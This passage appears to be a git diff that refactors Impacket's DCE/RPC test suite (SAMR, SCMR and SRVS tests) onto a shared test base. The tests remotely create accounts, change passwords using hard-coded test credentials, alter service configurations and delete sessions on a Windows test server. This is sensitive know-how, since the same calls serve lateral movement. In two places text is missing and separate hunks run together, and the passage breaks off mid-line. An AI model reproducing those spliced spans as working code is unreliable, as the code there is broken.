ntlm.NTOWFv1(newPwd) newPwdHashLM = ntlm.LMOWFv1(newPwd) - from impacket import crypto request = samr.SamrChangePasswordUser() request['UserHandle'] = resp0['UserHandle'] request['LmPresent'] = 0 @@ -2660,14 +2177,15 @@ def test_SamrChangePasswordUser(self): resp.dump() def test_hSamrChangePasswordUser(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateUser2InDomain() request['DomainHandle'] = domainHandle - request['Name'] = 'testAccount' + request['Name'] = self.test_account request['AccountType'] = samr.USER_NORMAL_ACCOUNT request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE - #request.dump() + resp0 = dce.request(request) resp0.dump() @@ -2681,7 +2199,8 @@ def test_hSamrChangePasswordUser(self): resp.dump() def test_SamrOemChangePasswordUser2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) # As you can guess by now, target machine must have the Administrator account with password admin # NOTE: It's giving me WRONG_PASSWORD 'cause the target test server doesn't hold LM Hashes # further testing is needed to verify this call works @@ -2696,7 +2215,6 @@ def test_SamrOemChangePasswordUser2(self): print("Warning: You don't have any crypto installed. You need pycryptodomex") print("See https://pypi.org/project/pycryptodomex/") - from impacket import crypto request = samr.SamrOemChangePasswordUser2() request['ServerName'] = '' request['UserName'] = 'Administrator' @@ -2712,19 +2230,20 @@ def test_SamrOemChangePasswordUser2(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_WRONG_PASSWORD') < 0: raise def test_SamrUnicodeChangePasswordUser2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateUser2InDomain() request['DomainHandle'] = domainHandle - request['Name'] = 'testAccount' + request['Name'] = self.test_account request['AccountType'] = samr.USER_NORMAL_ACCOUNT request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE - #request.dump() + resp0 = dce.request(request) resp0.dump() @@ -2734,7 +2253,6 @@ def test_SamrUnicodeChangePasswordUser2(self): newPwdHashNT = ntlm.NTOWFv1(newPwd) newPwdHashLM = ntlm.LMOWFv1(newPwd) - from impacket import crypto request = samr.SamrChangePasswordUser() request['UserHandle'] = resp0['UserHandle'] request['LmPresent'] = 0 @@ -2752,7 +2270,7 @@ def test_SamrUnicodeChangePasswordUser2(self): oldPwd = 'ADMIN' oldPwdHashNT = ntlm.NTOWFv1(oldPwd) - newPwd = chars = "".join( [random.choice(string.ascii_letters) for i in range(15)] ) + newPwd = "".join([random.choice(string.ascii_letters) for i in range(15)]) newPwdHashNT = ntlm.NTOWFv1(newPwd) try: @@ -2761,10 +2279,9 @@ def test_SamrUnicodeChangePasswordUser2(self): print("Warning: You don't have any crypto installed. You need pycryptodomex") print("See https://pypi.org/project/pycryptodomex/") - from impacket import crypto request = samr.SamrUnicodeChangePasswordUser2() request['ServerName'] = '' - request['UserName'] = 'testAccount' + request['UserName'] = self.test_account samUser = samr.SAMPR_USER_PASSWORD() samUser['Buffer'] = b'A'*(512-len(newPwd)*2) + newPwd.encode('utf-16le') samUser['Length'] = len(newPwd)*2 @@ -2781,7 +2298,7 @@ def test_SamrUnicodeChangePasswordUser2(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0: raise @@ -2792,14 +2309,15 @@ def test_SamrUnicodeChangePasswordUser2(self): resp.dump() def test_hSamrUnicodeChangePasswordUser2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateUser2InDomain() request['DomainHandle'] = domainHandle - request['Name'] = 'testAccount' + request['Name'] = self.test_account request['AccountType'] = samr.USER_NORMAL_ACCOUNT request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE - #request.dump() + resp0 = dce.request(request) resp0.dump() @@ -2809,7 +2327,6 @@ def test_hSamrUnicodeChangePasswordUser2(self): newPwdHashNT = ntlm.NTOWFv1(newPwd) newPwdHashLM = ntlm.LMOWFv1(newPwd) - from impacket import crypto request = samr.SamrChangePasswordUser() request['UserHandle'] = resp0['UserHandle'] request['LmPresent'] = 0 @@ -2826,7 +2343,7 @@ def test_hSamrUnicodeChangePasswordUser2(self): resp.dump() try: - resp = samr.hSamrUnicodeChangePasswordUser2(dce, '', 'testAccount', 'ADMIN', 'betus') + resp = samr.hSamrUnicodeChangePasswordUser2(dce, '', self.test_account, 'ADMIN', 'betus') resp.dump() except Exception as e: if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0: @@ -2838,74 +2355,35 @@ def test_hSamrUnicodeChangePasswordUser2(self): resp = dce.request(request) resp.dump() -class SMBTransport(SAMRTests): - def setUp(self): - SAMRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport(SAMRTests): - def setUp(self): - SAMRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - #print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') - self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(SAMRTests): - def setUp(self): - SAMRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -class TCPTransport64(SAMRTests): - def setUp(self): - SAMRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - #print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') - self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') + +@pytest.mark.remote +class SAMRTestsSMBTransport(SAMRTests, unittest.TestCase): + protocol = "ncacn_np" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + + +@pytest.mark.remote +class SAMRTestsSMBTransport64(SAMRTests, unittest.TestCase): + protocol = "ncacn_np" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + + +@pytest.mark.remote +class SAMRTestsTCPTransport(SAMRTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + + +@pytest.mark.remote +class SAMRTestsTCPTransport64(SAMRTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_scmr.py b/tests/dcerpc/test_scmr.py similarity index 75% rename from tests/SMB_RPC/test_scmr.py rename to tests/dcerpc/test_scmr.py index d018c3d424..52352d88fe 100644 --- a/tests/SMB_RPC/test_scmr.py +++ b/tests/dcerpc/test_scmr.py @@ -1,92 +1,102 @@ -############################################################################### -# Tested so far: -# hRCloseServiceHandleCall -# RControlService -# RDeleteService -# RLockServiceDatabase -# RQueryServiceObjectSecurity -# RQueryServiceStatus -# RUnlockServiceDatabase -# RNotifyBootConfigStatus -# RChangeServiceConfigW -# RCreateServiceW -# REnumDependentServicesW -# REnumServicesStatusW -# ROpenSCManager -# ROpenServiceW -# RQueryServiceConfigW -# RQueryServiceLockStatusW -# RStartServiceW -# CRGetServiceDisplayNameW -# RGetServiceKeyNameW -# REnumServiceGroupW -# RChangeServiceConfig2W -# RQueryServiceConfig2W -# RQueryServiceStatusEx -# REnumServicesStatusExW -# RNotifyServiceStatusChange -# RGetNotifyResults -# RCloseNotifyHandle -# RControlServiceExW -# RQueryServiceConfigEx +# Impacket - Collection of Python classes for working with network protocols. # -# Not yet: +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# RSetServiceObjectSecurity -# RSetServiceStatus -# RCreateServiceWOW64W -# -# Shouldn't dump errors against a win7 +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -################################################################################ - -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +# Tested so far: +# ROpenSCManagerW +# RControlService +# RDeleteService +# RLockServiceDatabase +# RQueryServiceObjectSecurity +# RQueryServiceStatus +# RUnlockServiceDatabase +# RNotifyBootConfigStatus +# RChangeServiceConfigW +# RCreateServiceW +# REnumDependentServicesW +# REnumServicesStatusW +# ROpenSCManager +# ROpenServiceW +# RQueryServiceConfigW +# RQueryServiceLockStatusW +# RStartServiceW +# CRGetServiceDisplayNameW +# RGetServiceKeyNameW +# REnumServiceGroupW +# RChangeServiceConfig2W +# RQueryServiceConfig2W +# RQueryServiceStatusEx +# REnumServicesStatusExW +# RNotifyServiceStatusChange +# RGetNotifyResults +# RCloseNotifyHandle +# RControlServiceExW +# RQueryServiceConfigEx +# +# Not yet: +# hRCloseServiceHandleCall +# RSetServiceObjectSecurity +# RSetServiceStatus +# RCreateServiceWOW64W +# +import time +import pytest import unittest from struct import unpack +from tests.dcerpc import DCERPCTests -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import scmr, epm +from impacket.dcerpc.v5 import scmr from impacket.dcerpc.v5.ndr import NULL from impacket.crypto import encryptSecret from impacket.uuid import string_to_bin from impacket import ntlm -class SCMRTests(unittest.TestCase): - def changeServiceAndQuery(self, dce, cbBufSize, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName): +class SCMRTests(DCERPCTests): + iface_uuid = scmr.MSRPC_UUID_SCMR + authn = True + + def get_service_handle(self, dce): + lpMachineName = 'DUMMY\x00' + lpDatabaseName = 'ServicesActive\x00' + desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE + resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName, desiredAccess) + scHandle = resp['lpScHandle'] + return scHandle + def changeServiceAndQuery(self, dce, cbBufSize, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName): try: - resp = scmr.hRChangeServiceConfigW( dce, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) - + resp = scmr.hRChangeServiceConfigW(dce, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName) resp = scmr.hRQueryServiceConfigW(dce, hService) resp.dump() # Now let's compare all the results if dwServiceType != scmr.SERVICE_NO_CHANGE: - self.assertTrue( resp['lpServiceConfig']['dwServiceType'] == dwServiceType ) + self.assertEqual(resp['lpServiceConfig']['dwServiceType'], dwServiceType) if dwStartType != scmr.SERVICE_NO_CHANGE: - self.assertTrue( resp['lpServiceConfig']['dwStartType'] == dwStartType ) + self.assertEqual(resp['lpServiceConfig']['dwStartType'], dwStartType) if dwErrorControl != scmr.SERVICE_NO_CHANGE: - self.assertTrue( resp['lpServiceConfig']['dwErrorControl'] == dwErrorControl ) + self.assertEqual(resp['lpServiceConfig']['dwErrorControl'], dwErrorControl) if lpBinaryPathName != NULL: - self.assertTrue( resp['lpServiceConfig']['lpBinaryPathName'] == lpBinaryPathName ) + self.assertEqual(resp['lpServiceConfig']['lpBinaryPathName'], lpBinaryPathName) if lpBinaryPathName != NULL: - self.assertTrue( resp['lpServiceConfig']['lpBinaryPathName'] == lpBinaryPathName ) + self.assertEqual(resp['lpServiceConfig']['lpBinaryPathName'], lpBinaryPathName) if lpLoadOrderGroup != NULL: - self.assertTrue( resp['lpServiceConfig']['lpLoadOrderGroup'] == lpLoadOrderGroup ) + self.assertEqual(resp['lpServiceConfig']['lpLoadOrderGroup'], lpLoadOrderGroup) #if lpDependencies != '': - # self.assertTrue( resp['lpServiceConfig']['lpDependencies'] == lpDependencies[:-4]+'/\x00\x00\x00') + # self.assertEqual( resp['lpServiceConfig']['lpDependencies'], lpDependencies[:-4]+'/\x00\x00\x00') if lpServiceStartName != NULL: - self.assertTrue( resp['lpServiceConfig']['lpServiceStartName'] == lpServiceStartName ) + self.assertEqual(resp['lpServiceConfig']['lpServiceStartName'], lpServiceStartName) if lpDisplayName != NULL: - self.assertTrue( resp['lpServiceConfig']['lpDisplayName'] == lpDisplayName ) + self.assertEqual(resp['lpServiceConfig']['lpDisplayName'], lpDisplayName) #if lpdwTagId != scmr.SERVICE_NO_CHANGE: # if resp['lpServiceConfig']['dwTagId']['Data'] != lpdwTagId: # print "ERROR %s" % 'lpdwTagId' - except: - resp = scmr.hRDeleteService(dce, hService) + except Exception: + scmr.hRDeleteService(dce, hService) raise def changeServiceAndQuery2(self, dce, info, changeDone): @@ -99,7 +109,7 @@ def changeServiceAndQuery2(self, dce, info, changeDone): request['cbBufSize'] = cbBuffSize try: resp = dce.request(request) - except Exception as e: + except scmr.DCERPCSessionError as e: if str(e).find('ERROR_INSUFFICIENT_BUFFER') <= 0: raise else: @@ -109,51 +119,25 @@ def changeServiceAndQuery2(self, dce, info, changeDone): resp = dce.request(request) arrayData = b''.join(resp['lpBuffer']) if dwInfoLevel == 1: - self.assertTrue(arrayData[4:].decode('utf-16le') == changeDone) + self.assertEqual(arrayData[4:].decode('utf-16le'), changeDone) elif dwInfoLevel == 2: offset = unpack(' 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - #dce.set_max_fragment_size(32) - dce.connect() - if self.__class__.__name__ == 'TCPTransport': - dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) - dce.bind(scmr.MSRPC_UUID_SCMR) - #rpc = scmr.DCERPCSvcCtl(dce) - lpMachineName = 'DUMMY\x00' - lpDatabaseName = 'ServicesActive\x00' - desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE - - resp = scmr.hROpenSCManagerW(dce,lpMachineName, lpDatabaseName, desiredAccess) - scHandle = resp['lpScHandle'] - - return dce, rpctransport, scHandle + self.assertEqual(unpack(' 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - #suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_srvs.py b/tests/dcerpc/test_srvs.py similarity index 81% rename from tests/SMB_RPC/test_srvs.py rename to tests/dcerpc/test_srvs.py index 92cd416484..00df60a61e 100644 --- a/tests/SMB_RPC/test_srvs.py +++ b/tests/dcerpc/test_srvs.py @@ -1,92 +1,80 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# NetrConnectionEnum -# NetrFileEnum -# NetrFileGetInfo -# NetrFileClose -# NetrSessionEnum -# NetrSessionDel -# NetrShareAdd -# NetrShareDel -# NetrShareEnum -# NetrShareEnumSticky -# NetrShareGetInfo -# NetrShareDelSticky -# NetrShareDelStart -# NetrShareDelCommit -# NetrShareCheck -# NetrServerGetInfo -# NetrServerDiskEnum -# NetrServerStatisticsGet -# NetrRemoteTOD -# NetrServerTransportEnum -# NetrpGetFileSecurity -# NetprPathType -# NetprPathCanonicalize -# NetprPathCompare -# NetprNameValidate -# NetprNameCanonicalize -# NetprNameCompare -# NetrDfsGetVersion -# NetrDfsModifyPrefix -# NetrDfsFixLocalVolume -# NetrDfsManagerReportSiteInfo -# NetrServerAliasAdd -# NetrServerAliasEnum -# NetrServerAliasDel -# NetrShareDelEx -# NetrServerTransportAdd -# NetrServerTransportDel -# NetrServerTransportAddEx -# NetrServerTransportDelEx -# NetrDfsCreateLocalPartition -# NetrDfsDeleteLocalPartition -# NetrDfsSetLocalVolumeState -# NetrDfsCreateExitPoint -# NetrDfsDeleteExitPoint -# NetrShareSetInfo +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# NetrServerSetInfo +# Tested so far: +# (h)NetrConnectionEnum +# (h)NetrFileEnum +# (h)NetrFileGetInfo +# (h)NetrFileClose +# (h)NetrSessionEnum +# (h)NetrSessionDel +# (h)NetrShareAdd +# (h)NetrShareDel +# (h)NetrShareEnum +# (h)NetrShareEnumSticky +# (h)NetrShareGetInfo +# (h)NetrShareDelSticky +# (h)NetrShareDelStart +# (h)NetrShareDelCommit +# (h)NetrShareCheck +# (h)NetrServerGetInfo +# (h)NetrServerDiskEnum +# (h)NetrServerStatisticsGet +# (h)NetrRemoteTOD +# (h)NetrServerTransportEnum +# (h)NetrpGetFileSecurity +# (h)NetrpSetFileSecurity +# (h)NetprPathType +# (h)NetprPathCanonicalize +# (h)NetprPathCompare +# (h)NetprNameValidate +# (h)NetprNameCanonicalize +# (h)NetprNameCompare +# (h)NetrDfsGetVersion +# (h)NetrDfsModifyPrefix +# (h)NetrDfsFixLocalVolume +# (h)NetrDfsManagerReportSiteInfo +# (h)NetrServerAliasAdd +# (h)NetrServerAliasEnum +# (h)NetrServerAliasDel +# NetrShareDelEx +# NetrServerTransportAdd +# NetrServerTransportDel +# NetrServerTransportAddEx +# NetrServerTransportDelEx +# NetrDfsCreateLocalPartition +# NetrDfsDeleteLocalPartition +# NetrDfsSetLocalVolumeState +# NetrDfsCreateExitPoint +# NetrDfsDeleteExitPoint +# NetrShareSetInfo # -# Shouldn't dump errors against a win7 +# Not yet: +# NetrServerSetInfo # -################################################################################ - from __future__ import division from __future__ import print_function + +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests.dcerpc import DCERPCTests -from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import srvs from impacket.dcerpc.v5.dtypes import NULL, OWNER_SECURITY_INFORMATION -class SRVSTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts) - - return dce, rpctransport +class SRVSTests(DCERPCTests): + iface_uuid = srvs.MSRPC_UUID_SRVS + string_binding = r"ncacn_np:{0.machine}[\PIPE\srvsvc]" + authn = True def test_NetrConnectionEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrConnectionEnum() request['ServerName'] = '\\\\%s\x00' % self.machine request['Qualifier'] = 'IPC$\x00' @@ -102,7 +90,7 @@ def test_NetrConnectionEnum(self): resp.dump() def test_hNetrConnectionEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrConnectionEnum(dce, 'IPC$\x00', 1) resp.dump() @@ -110,7 +98,7 @@ def test_hNetrConnectionEnum(self): resp.dump() def test_NetrFileEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrFileEnum() request['ServerName'] = '\\\\%s\x00' % self.machine request['BasePath'] = NULL @@ -126,7 +114,7 @@ def test_NetrFileEnum(self): resp.dump() def test_hNetrFileEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2) resp.dump() @@ -134,7 +122,7 @@ def test_hNetrFileEnum(self): resp.dump() def test_NetrFileGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrFileEnum() request['ServerName'] = '\\\\%s\x00' % self.machine request['BasePath'] = NULL @@ -157,7 +145,7 @@ def test_NetrFileGetInfo(self): resp.dump() def test_hNetrFileGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2) resp.dump() @@ -168,7 +156,7 @@ def test_hNetrFileGetInfo(self): resp.dump() def test_NetrFileClose(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrFileEnum() request['ServerName'] = '\\\\%s\x00' % self.machine request['BasePath'] = NULL @@ -185,27 +173,26 @@ def test_NetrFileClose(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: # I might be closing myself ;) if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0 and str(e).find('0x90a') < 0: - raise def test_hNetrFileClose(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrFileEnum(dce, NULL, NULL, 2) resp.dump() try: resp = srvs.hNetrFileClose(dce, resp['InfoStruct']['FileInfo']['Level2']['Buffer'][0]['fi2_id']) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: # I might be closing myself ;) if str(e).find('STATUS_PIPE_BROKEN') < 0 and str(e).find('STATUS_FILE_CLOSED') < 0 and str(e).find('STATUS_INVALID_HANDLE') < 0 and str(e).find('0x90a') < 0: raise def test_NetrSessionEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrSessionEnum() request['ServerName'] = NULL request['ClientName'] = NULL @@ -243,7 +230,7 @@ def test_NetrSessionEnum(self): resp.dump() def test_hNetrSessionEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0) resp.dump() @@ -260,7 +247,7 @@ def test_hNetrSessionEnum(self): resp.dump() def test_NetrSessionDel(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrSessionEnum() request['ServerName'] = NULL request['ClientName'] = NULL @@ -280,24 +267,24 @@ def test_NetrSessionDel(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if e.get_error_code() != 0x908: raise def test_hNetrSessionDel(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502) resp.dump() try: resp = srvs.hNetrSessionDel(dce, resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_cname'], resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_username'] ) resp.dump() - except Exception as e: + except srvs.DCERPCSessionError as e: if e.get_error_code() != 0x908: raise def test_NetrShareAdd_NetrShareDel(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareAdd() request['ServerName'] = NULL request['Level'] = 2 @@ -318,7 +305,7 @@ def test_NetrShareAdd_NetrShareDel(self): resp.dump() def test_hNetrShareAdd_hNetrShareDel(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() shareInfo = srvs.SHARE_INFO_2() shareInfo['shi2_netname'] = 'BETUSHARE\x00' shareInfo['shi2_type'] = srvs.STYPE_TEMPORARY @@ -329,11 +316,11 @@ def test_hNetrShareAdd_hNetrShareDel(self): resp = srvs.hNetrShareAdd(dce, 2, shareInfo) resp.dump() - resp = srvs.hNetrShareDel(dce,'BETUSHARE\x00') + resp = srvs.hNetrShareDel(dce, 'BETUSHARE\x00') resp.dump() def test_NetrShareEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareEnum() request['ServerName'] = NULL request['PreferedMaximumLength'] = 0xffffffff @@ -375,7 +362,7 @@ def test_NetrShareEnum(self): resp.dump() def test_hNetrShareEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrShareEnum(dce, 0) resp.dump() @@ -395,7 +382,7 @@ def test_hNetrShareEnum(self): resp.dump() def tes_NetrShareEnumSticky(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareEnumSticky() request['ServerName'] = NULL request['PreferedMaximumLength'] = 0xffffffff @@ -413,7 +400,7 @@ def tes_NetrShareEnumSticky(self): resp.dump() def tes_hNetrShareEnumSticky(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrShareEnumSticky(dce, 502) resp.dump() @@ -421,7 +408,7 @@ def tes_hNetrShareEnumSticky(self): resp.dump() def test_NetrShareGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareGetInfo() request['ServerName'] = NULL request['NetName'] = 'IPC$\x00' @@ -454,7 +441,7 @@ def test_NetrShareGetInfo(self): resp.dump() def test_hNetrShareGetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 0) resp.dump() @@ -477,7 +464,7 @@ def test_hNetrShareGetInfo(self): resp.dump() def test_NetrShareSetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareGetInfo() request['ServerName'] = NULL request['NetName'] = 'IPC$\x00' @@ -504,7 +491,7 @@ def test_NetrShareSetInfo(self): resp.dump() def test_hNetrShareSetInfo(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1) resp.dump() oldValue = resp['InfoStruct']['ShareInfo1']['shi1_remark'] @@ -522,7 +509,7 @@ def test_hNetrShareSetInfo(self): resp.dump() def tes_hNetrShareDelSticky(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() shareInfo = srvs.SHARE_INFO_2() shareInfo['shi2_netname'] = 'BETUSHARE\x00' @@ -541,7 +528,7 @@ def tes_hNetrShareDelSticky(self): resp.dump() def tes_NetrShareDelSticky(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareAdd() request['ServerName'] = NULL request['Level'] = 2 @@ -568,7 +555,7 @@ def tes_NetrShareDelSticky(self): resp.dump() def test_NetrShareDelStart_NetrShareDelCommit(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() request = srvs.NetrShareAdd() request['ServerName'] 